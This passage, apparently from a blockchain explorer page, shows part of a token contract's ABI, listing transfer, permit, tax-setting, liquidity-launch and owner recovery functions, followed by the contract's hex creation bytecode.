s"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Address","type":"address"},{"indexed":true,"internalType":"uint256","name":"PID","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"CID","type":"uint256"}],"name":"Connected","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERMIT_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ROUTER","outputs":[{"internalType":"contract ISwapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint24","name":"value","type":"uint24"}],"name":"_gas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"starts","type":"uint256"},{"internalType":"uint256","name":"ends","type":"uint256"}],"name":"_helpers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint16","name":"value","type":"uint16"}],"name":"_identifiers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint48","name":"value","type":"uint48"}],"name":"_ratios","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"value","type":"bytes"}],"name":"_recipients","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint80","name":"value","type":"uint80"}],"name":"_shares","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"value","type":"uint16"}],"name":"_swapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"account","outputs":[{"components":[{"internalType":"uint16","name":"identifiers","type":"uint16"},{"internalType":"uint64","name":"nonces","type":"uint64"},{"internalType":"uint80","name":"PID","type":"uint80"},{"internalType":"uint96","name":"balance","type":"uint96"},{"internalType":"address","name":"Address","type":"address"}],"internalType":"struct Account","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"account","outputs":[{"components":[{"internalType":"uint16","name":"identifiers","type":"uint16"},{"internalType":"uint64","name":"nonces","type":"uint64"},{"internalType":"uint80","name":"PID","type":"uint80"},{"internalType":"uint96","name":"balance","type":"uint96"},{"internalType":"address","name":"Address","type":"address"}],"internalType":"struct Account","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"requestedDecrease","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decreaseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"disableFairMode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"launchIsStarted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"_name","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"}],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settings","outputs":[{"components":[{"internalType":"uint8","name":"fairMode","type":"uint8"},{"internalType":"uint16","name":"buyTax","type":"uint16"},{"internalType":"uint16","name":"sellTax","type":"uint16"},{"internalType":"uint16","name":"transferTax","type":"uint16"},{"internalType":"uint16","name":"developmentShare","type":"uint16"},{"internalType":"uint16","name":"marketingShare","type":"uint16"},{"internalType":"uint16","name":"prizeShare","type":"uint16"},{"internalType":"uint16","name":"burnShare","type":"uint16"},{"internalType":"uint16","name":"autoLiquidityShare","type":"uint16"},{"internalType":"uint16","name":"swapThresholdRatio","type":"uint16"},{"internalType":"uint24","name":"gas","type":"uint24"},{"internalType":"address[3]","name":"feeRecipients","type":"address[3]"}],"internalType":"struct Settings","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stealthLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"telegramConnect","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint8","name":"idx","type":"uint8"}],"name":"toggleIdentifier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6101a060405234801562000011575f80fd5b5060405162004c8d38038062004c8d833981016040819052620000349162000978565b6040518060400160405280600b81526020016a11185c9d11d85b59509bdd60aa1b815250604051806040016040528060048152602001631110549560e21b81525084848484604051806040016040528060018152602001603160f81b815250620000a482620002f260201b60201c565b6080528151602083012060a0528051601f808301515f19909201100260c0528051602082012060e0526200013c60a0805160e051604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f602082015290810192909252606082015246608082015230918101919091525f9060c00160405160208183030381529060405280519060200120905090565b610100525050466101205284518451601b82116005821117156200016957631623655b60e31b5f5260045ffd5b86518651818803601e90810151838b0151601f85900360031b1b175f199290930191909101100261014052601261018052620002b06200029a868686604080516101c0810182525f80825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e08101829052610100810182905261012081018290526101408101829052610160810182905261018081018290526101a081019190915250604080516101c08101825260818152622dc6c060208201526109c4918101829052606081018290526080810191909152610fa060a0820181905260c08201525f60e0820181905261010082018190526107d06101208301526101408201526001600160a01b039384166101608201529183166101808301529091166101a082015290565b5f8051602062004c6d8339815191529062000308565b6001600160a01b03166101605250620002de955030945069d3c21bcecceda1000000935050620005af915050565b620002e933620006ad565b505050620009f3565b5f601f600183510310601f830151029050919050565b73753ba0e808a7aaba8027fbaafd7f0d82d317d6255f908152600783016020819052604082208054637fff8000191661800017905560038401906200034c6200071d565b9250835f0151825f015f6101000a81548160ff021916908360ff1602179055508360200151825f0160136101000a81548162ffffff021916908362ffffff1602179055508360400151825f0160016101000a81548161ffff021916908361ffff1602179055508360600151825f0160036101000a81548161ffff021916908361ffff1602179055508360800151825f0160056101000a81548161ffff021916908361ffff1602179055508360a00151825f0160076101000a81548161ffff021916908361ffff1602179055508360c00151825f0160096101000a81548161ffff021916908361ffff1602179055508360e00151825f01600b6101000a81548161ffff021916908361ffff160217905550836101000151825f01600d6101000a81548161ffff021916908361ffff160217905550836101200151825f01600f6101000a81548161ffff021916908361ffff160217905550836101400151825f0160116101000a81548161ffff021916908361ffff16021790555060405180606001604052808561016001516001600160a01b03166001600160a01b031681526020018561018001516001600160a01b03166001600160a01b03168152602001856101a001516001600160a01b03166001600160a01b03168152508260010190600362000539929190620008e9565b506200054e6001600160a01b038416620007b6565b6200055933620007e8565b61016084015162000573906001600160a01b0316620007e8565b6101808401516200058d906001600160a01b031662000826565b6101a0840151620005a7906001600160a01b031662000826565b505092915050565b5f8051602062004c2d83398151915280545f8051602062004c6d833981519152918391601490620005f2908490600160a01b90046001600160601b0316620009bf565b92506101000a8154816001600160601b0302191690836001600160601b031602179055508162000631846001600160a01b03166200085560201b60201c565b80546001600160601b03600160a01b8083048216909401169092026001600160a01b03928316179055604051908416905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620006a09086906001600160601b0391909116815260200190565b60405180910390a3505050565b5f8051602062004c2d83398151915280546001600160a01b031981166001600160a01b038481169182179093556040515f8051602062004c6d833981519152939092169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3505050565b5f46600114806200072e5750466005145b156200074d5750737a250d5630b4cf539739df2c5dacb4c659f2488d90565b4662aa36a70362000771575073c532a74256d3db42d0bf7a0400fefdbad769400890565b466038036200079357507310ed43c718714eb63d5aa57b78b54704e256024e90565b46606103620007b35750739ac64cc6e4415144c455bd8e4837fea55603e5c35b90565b6001600160a01b0381165f9081525f8051602062004c4d83398151915260205260409020620007e5906200087b565b50565b6001600160a01b0381165f9081525f8051602062004c4d8339815191526020526040902062000817816200088a565b62000822816200089f565b5050565b6001600160a01b0381165f9081525f8051602062004c4d83398151915260205260409020620007e5906200089f565b6001600160a01b03165f9081525f8051602062004c4d8339815191526020526040902090565b620007e581600a6001620008a9565b6200089981600e6001620008a9565b620007e5815b620007e581600b60015b80620008c4578254600160ff84161b191661ffff16620008d3565b825461ffff16600160ff84161b175b835461ffff191661ffff91909116179092555050565b826003810192821562000934579160200282015b828111156200093457825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620008fd565b506200094292915062000946565b5090565b5b8082111562000942575f815560010162000947565b80516001600160a01b038116811462000973575f80fd5b919050565b5f805f606084860312156200098b575f80fd5b62000996846200095c565b9250620009a6602085016200095c565b9150620009b6604085016200095c565b90509250925092565b6001600160601b03818116838216019080821115620009ec57634e487b7160e01b5f52601160045260245ffd5b5092915050565b60805160a05160c05160e051610100516101205161014051610160516101805161419c62000a915f395f61045101525f81816104960152818161144e015281816114b801528181611532015281816115c10152818161322d01528181613384015261373201525f8181610307015261107101525f610b9401525f610c6801525f610c1001525f610fcb01525f610be801525f610f78015261419c5ff3fe6080604052600436106102c4575f3560e01c806373b9aa9111610170578063a965a51b116100d1578063d0e30db011610087578063e06174e411610062578063e06174e4146108aa578063f2fde38b146108cb578063f332b1ae146108ea575f80fd5b8063d0e30db0146102e3578063d505accf1461086c578063dd62ed3e1461088b575f80fd5b8063c03b68ba116100b7578063c03b68ba146107f1578063c3342e561461082e578063cda4c4081461084d575f80fd5b8063a965a51b146107ca578063ae14076c146107d2575f80fd5b80638da5cb5b116101265780639e8c708e1161010c5780639e8c708e1461076d578063a457c2d71461078c578063a9059cbb146107ab575f80fd5b80638da5cb5b1461071d57806395d89b4114610759575f80fd5b80637ecebe00116101565780637ecebe00146106b857806384b0196e146106d75780638cd92b0a146106fe575f80fd5b806373b9aa91146106855780637c0f1ee7146106a4575f80fd5b806339509351116102255780635dab2420116101db5780636e2ad758116101b65780636e2ad7581461063357806370a0823114610652578063715018a614610671575f80fd5b80635dab2420146105745780636cb07772146105f55780636d84249b14610614575f80fd5b806342966c681161020b57806342966c68146105175780634a97c9c0146105365780634c2babef14610555575f80fd5b806339509351146104e457806341e00bb914610503575f80fd5b806323b872dd1161027a578063313ce56711610260578063313ce5671461044057806332fe7b26146104855780633644e515146104d0575f80fd5b806323b872dd146103ee57806330adf81f1461040d575f80fd5b806307df7a0d116102aa57806307df7a0d1461035e578063095ea7b31461037257806318160ddd146103a1575f80fd5b80630614117a146102cf57806306fdde03146102e5575f80fd5b366102cb57005b5f80fd5b3480156102da575f80fd5b506102e36108fe565b005b3480156102f0575f80fd5b50604080516080810182525f8082529181018281527f0000000000000000000000000000000000000000000000000000000000000000601f830152815182016020018051605f84015283905251606090820101919091525b60405161035591906139d8565b60405180910390f35b348015610369575f80fd5b506102e3610aff565b34801561037d575f80fd5b5061039161038c3660046139fe565b610b42565b6040519015158152602001610355565b3480156103ac575f80fd5b507fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892554600160a01b90046001600160601b03165b604051908152602001610355565b3480156103f9575f80fd5b50610391610408366004613a28565b610b58565b348015610418575f80fd5b506103e07f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b34801561044b575f80fd5b506104737f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff9091168152602001610355565b348015610490575f80fd5b506104b87f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610355565b3480156104db575f80fd5b506103e0610b91565b3480156104ef575f80fd5b506103916104fe3660046139fe565b610c8a565b34801561050e575f80fd5b506102e3610cf1565b348015610522575f80fd5b506102e3610531366004613a66565b610dbb565b348015610541575f80fd5b50610391610550366004613a93565b610dc8565b348015610560575f80fd5b5061039161056f366004613ac6565b610ddc565b34801561057f575f80fd5b50610588610deb565b60405161035591905f60a08201905061ffff835116825267ffffffffffffffff602084015116602083015269ffffffffffffffffffff60408401511660408301526001600160601b0360608401511660608301526001600160a01b03608084015116608083015292915050565b348015610600575f80fd5b5061039161060f366004613b2d565b610e1e565b34801561061f575f80fd5b5061039161062e366004613bbc565b610e28565b34801561063e575f80fd5b5061039161064d366004613bd5565b610e36565b34801561065d575f80fd5b506103e061066c366004613bfe565b610e4c565b34801561067c575f80fd5b506102e3610e76565b348015610690575f80fd5b5061058861069f366004613bfe565b610e89565b3480156106af575f80fd5b506102e3610f37565b3480156106c3575f80fd5b506103e06106d2366004613bfe565b610f40565b3480156106e2575f80fd5b506106eb610f6a565b6040516103559796959493929190613c19565b348015610709575f80fd5b506102e3610718366004613cd9565b61103c565b348015610728575f80fd5b507fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888925546001600160a01b03166104b8565b348015610764575f80fd5b5061034861105b565b348015610778575f80fd5b506102e3610787366004613bfe565b6110b8565b348015610797575f80fd5b506103916107a63660046139fe565b61131c565b3480156107b6575f80fd5b506103916107c53660046139fe565b6113cc565b6102e36113e1565b3480156107dd575f80fd5b506103e06107ec366004613a66565b61176e565b3480156107fc575f80fd5b507fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892654600160501b900460ff16610391565b348015610839575f80fd5b50610391610848366004613d03565b61189a565b348015610858575f80fd5b50610391610867366004613d28565b6118ac565b348015610877575f80fd5b506102e3610886366004613d5a565b6118c9565b348015610896575f80fd5b506103e06108a5366004613dc3565b611ac7565b3480156108b5575f80fd5b506108be611b12565b6040516103559190613e25565b3480156108d6575f80fd5b506102e36108e5366004613bfe565b611c46565b3480156108f5575f80fd5b506102e3611c99565b60408051610180810182525f80516020614147833981519152805460ff8116835261010080820461ffff908116602086015263010000008304811685870152650100000000008304811660608087019190915267010000000000000084048216608087015269010000000000000000008404821660a0870152600160581b8404821660c0870152600160681b8404821660e0870152600160781b8404821692860192909252600160881b830416610120850152600160981b90910462ffffff166101408401528351908101938490525f93610160840191907fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889289060039082845b81546001600160a01b031681526001909101906020018083116109fe57505050919092525050506101608101515161014082015160405192935047925f926001600160a01b03169162ffffff1690849084818181858888f193505050503d805f8114610a85576040519150601f19603f3d011682016040523d82523d5f602084013e610a8a565b606091505b5050905080610afa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f5478206661696c6564000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b505050565b610b07611cb9565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892680546aff000000000000000000001916600160501b179055565b5f610b4e338484611d2d565b5060015b92915050565b5f33610b6381611d3a565b610b7257610b72858285611d65565b610b868585856001600160601b0316611e12565b9150505b9392505050565b5f7f00000000000000000000000000000000000000000000000000000000000000004614610c6557610c60604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60208201527f0000000000000000000000000000000000000000000000000000000000000000918101919091527f000000000000000000000000000000000000000000000000000000000000000060608201524660808201523060a08201525f9060c00160405160208183030381529060405280519060200120905090565b905090565b507f000000000000000000000000000000000000000000000000000000000000000090565b335f8181527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d602090815260408083206001600160a01b0387168452909152812054909190610ce79082908690610ce2908790613f40565b611d2d565b5060019392505050565b610cf9611cb9565b5f8051602061414783398151915280546101f4908290600190610d26908490610100900461ffff16613f53565b92506101000a81548161ffff021916908361ffff1602179055506101f4815f0160038282829054906101000a900461ffff16610d629190613f53565b92506101000a81548161ffff021916908361ffff1602179055506101f4815f0160058282829054906101000a900461ffff16610d9e9190613f53565b92506101000a81548161ffff021916908361ffff16021790555050565b610dc53382612086565b50565b5f610b8a6001600160a01b0384168361218c565b5f610b528262ffffff16612208565b6040805160a0810182525f80825260208201819052918101829052606081018290526080810191909152610c6033610e89565b5f610b52826122bb565b5f610b528261ffff1661234c565b5f610b528269ffffffffffffffffffff166123fc565b5f610e5f826001600160a01b0316612527565b54600160a01b90046001600160601b031692915050565b610e7e611cb9565b610e875f612562565b565b6040805160a0810182525f80825260208201819052918101829052606081018290526080810191909152610ec5826001600160a01b0316612527565b6040805160a081018252825461ffff8116825262010000810467ffffffffffffffff166020830152600160501b810469ffffffffffffffffffff1692820192909252600160a01b9091046001600160601b031660608201526001909101546001600160a01b0316608082015292915050565b610e87306110b8565b5f610f53826001600160a01b0316612527565b5462010000900467ffffffffffffffff1692915050565b5f6060805f805f6060610fbc7f000000000000000000000000000000000000000000000000000000000000000060606040519050604081016040525f815281601f8201525f8151602083010152919050565b6040805180820182525f8082527f0000000000000000000000000000000000000000000000000000000000000000601f83015281516020908301810182905283518281529081019093527f0f000000000000000000000000000000000000000000000000000000000000009b939a50909850469750309650945092509050565b611044611cb9565b6110576001600160a01b03831682612603565b5050565b604080516080810182525f8082529181018281527f0000000000000000000000000000000000000000000000000000000000000000601f830152815182016020018051605f84015283905280516060908301810193909352610b52565b60408051610180810182525f80516020614147833981519152805460ff8116835261010080820461ffff908116602086015263010000008304811685870152650100000000008304811660608087019190915267010000000000000084048216608087015269010000000000000000008404821660a0870152600160581b8404821660c0870152600160681b8404821660e0870152600160781b8404821692860192909252600160881b830416610120850152600160981b90910462ffffff166101408401528351908101938490525f93610160840191907fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889289060039082845b81546001600160a01b031681526001909101906020018083116111b8575050509190925250506040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529192505f916001600160a01b03851691506370a0823190602401602060405180830381865afa15801561123f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112639190613f75565b9050826001600160a01b031663a9059cbb8361016001515f6003811061128b5761128b613f18565b60200201516040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156112f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113169190613f8c565b50505050565b335f8181527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d602090815260408083206001600160a01b0387168452909152812054909190838110156113b4576040517ff8e06db20000000000000000000000000000000000000000000000000000000081526001600160a01b03861660048201526024810182905260448101859052606401610af1565b6113c18286868403611d2d565b506001949350505050565b5f610ce73384846001600160601b0316611e12565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888926805460ff60581b1916600160581b17905561141b611cb9565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889245f61144630610e4c565b9050611475307f00000000000000000000000000000000000000000000000000000000000000005f195f61263b565b61148230305f195f61263b565b60405163f305d71960e01b81523060048201819052602482018390525f60448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990349060c40160606040518083038185885af1158015611508573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061152d9190613fab565b5050507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561158c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115b09190613fd6565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561161b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061163f9190613fd6565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156116a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116c49190613fd6565b825473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039190911690811783556116f7906126da565b50815461170c906001600160a01b031661280a565b81546117259030906001600160a01b03165f195f61263b565b50505f61174f7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892490565b6002018054911515600160581b0260ff60581b19909216919091179055565b5f8061177933612527565b8054909150600160501b900469ffffffffffffffffffff165f03611851577fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888926805469ffffffffffffffffffff16905f6117d183613ff1565b825469ffffffffffffffffffff9182166101009390930a92830292820219169190911790915582549116600160501b0273ffffffffffffffffffff000000000000000000001990911617815560018101546001600160a01b03166118515760018101805473ffffffffffffffffffffffffffffffffffffffff1916331790555b80546040518491600160501b900469ffffffffffffffffffff169033907f7d842667f749a5ac61180c742c62d621c78c94d961bfa60567a499ee28ffa4ab905f90a45090919050565b5f610b528265ffffffffffff16612824565b5f6118c16001600160a01b0385168484612923565b949350505050565b83421115611903576040517f1a15a3cc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f60016119897f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a611936836129d3565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e00160405160208183030381529060405280519060200120612a4d565b604080515f8152602081018083529290925260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa1580156119d4573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b0381161580611a095750876001600160a01b0316816001600160a01b031614155b15611a40576040517f815e1d6400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b039081165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b6001600160a01b038083165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d60209081526040808320938516835292905290812054610b8a565b611b1a61390d565b60408051610180810182525f80516020614147833981519152805460ff8116835261010080820461ffff908116602086015263010000008304811685870152650100000000008304811660608087019190915267010000000000000084048216608087015269010000000000000000008404821660a0870152600160581b8404821660c0870152600160681b8404821660e0870152600160781b8404821692860192909252600160881b830416610120850152600160981b90910462ffffff16610140840152835190810193849052919290916101608401917fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889289060039082845b81546001600160a01b03168152600190910190602001808311611c1b57505050505081525050905090565b611c4e611cb9565b6001600160a01b038116611c90576040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081525f6004820152602401610af1565b610dc581612562565b611ca1611cb9565b5f80516020614147833981519152805460ff19169055565b33611ceb7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888925546001600160a01b031690565b6001600160a01b031614610e87576040517f118cdaa7000000000000000000000000000000000000000000000000000000008152336004820152602401610af1565b610afa838383600161263b565b5f611d4d826001600160a01b0316612aae565b80610b525750610b52826001600160a01b0316612b35565b6001600160a01b038381165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d60209081526040808320938616835292905220545f1981146113165781811015611e04576040517f192b9e4e0000000000000000000000000000000000000000000000000000000081526001600160a01b03841660048201526024810182905260448101839052606401610af1565b61131684848484035f61263b565b5f6001600160a01b038416611e55576040517f4c14f64c0000000000000000000000000000000000000000000000000000000081525f6004820152602401610af1565b6001600160a01b038316611e97576040517f9cfea5830000000000000000000000000000000000000000000000000000000081525f6004820152602401610af1565b6001600160a01b038481165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b60205260408082208684168352912060018201547fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889249316611f1657611f14876001600160a01b03166126da565b505b60018101546001600160a01b0316611f3c57611f3a866001600160a01b03166126da565b505b6040805160a08082018352845461ffff808216845267ffffffffffffffff62010000808404821660208088019190915269ffffffffffffffffffff600160501b8087048216898b01526001600160601b03600160a01b9788900481166060808c01919091526001808f01546001600160a01b039081166080808f01919091528e519c8d018f528f549a8b168d52978a04909816958b01959095529187049092169988019990995294909304909316958401959095528501549093169281019290925260028501545f9283928392612022928992918c9060ff600160581b90910416612bbc565b925092509250825f036120495761203a85858a612f4b565b60019650505050505050610b8a565b61205c8561205630612527565b85612f4b565b801561206b5761206b81613058565b612076858584612f4b565b5060019998505050505050505050565b5f612099836001600160a01b0316612527565b80549091506001600160601b03600160a01b909104811690831611156120bd575f80fd5b80546001600160601b03600160a01b8083048216859003909116026001600160a01b039091161781558161210e7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892490565b60010180546001600160601b03600160a01b808304821694909403169092026001600160a01b039283161790556040515f918516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061217f9086906001600160601b0391909116815260200190565b60405180910390a3505050565b335f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b6020819052604082205461ffff811690614000811661800090911617156113c1576201000084106121e1575f80fd5b5f858152602083905260409020805461ffff191661ffff8616179055506001949350505050565b335f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b602081905260408220545f80516020614147833981519152919061ffff811690614000811661800090911617156113c15762e4e1c1851061226d575f80fd5b82547fffffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffff16609886901b74ffff0000000000000000000000000000000000000016178355506001949350505050565b335f9081527fcf0